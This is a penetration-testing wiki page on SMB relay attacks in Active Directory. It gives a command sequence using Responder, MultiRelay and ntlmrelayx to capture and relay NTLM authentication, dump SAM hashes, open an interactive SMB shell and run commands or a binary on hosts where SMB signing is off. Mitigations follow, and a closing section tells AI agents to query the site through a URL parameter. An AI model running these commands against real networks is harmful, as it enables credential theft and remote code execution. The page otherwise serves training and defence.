# SMB Relay

## What is SMB Relay?

* Capture hashes
* Relay them to other hosts to authenticate
* No need to crack hashes with hashcat

## Requirements

* SMB signing must be disabled on the target
* SMB signing checks authenticity of SMB packets
* Relayed user credentials must be admin on target machine

## Exploitation

```bash
# Discover hosts with SMB signing disabled
python RunFinger.py -i 10.0.0.2/24
nmap --script=smb2-security-mode -p 445 -v 10.10.10.0/24

# Turn off HTTP and SMB in Responder.conf
nvim Responder.conf

# Start responder
python Responder.py -I tun0 -rdwv

# Set up relay

# Target specific host
python MultiRelay.py -t 10.0.2.4 -u ALL

# Target multiple hosts

# Dump SAM hive
python ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SMB shell
python ntlmrelayx.py -tf targets.txt -smb2support -i
nc 127.0.0.1 11000

# Execute command
python ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Execute binary
python ntlmrelayx.py -tf targets.txt -smb2support -e "shell.exe"
```

## Mitigation

* Enable SMB signing on all devices (may cause performance issues with file copies)
* Disable NTLM authentication on the network but Windows can default back to it if Kerberos stops working
* Account tiering: limit domain admins to specific tasks
* Local admin restriction (can increase service deskt tickets)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.bufu-sec.com/active-directory/mitm_relay/smb_relay.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
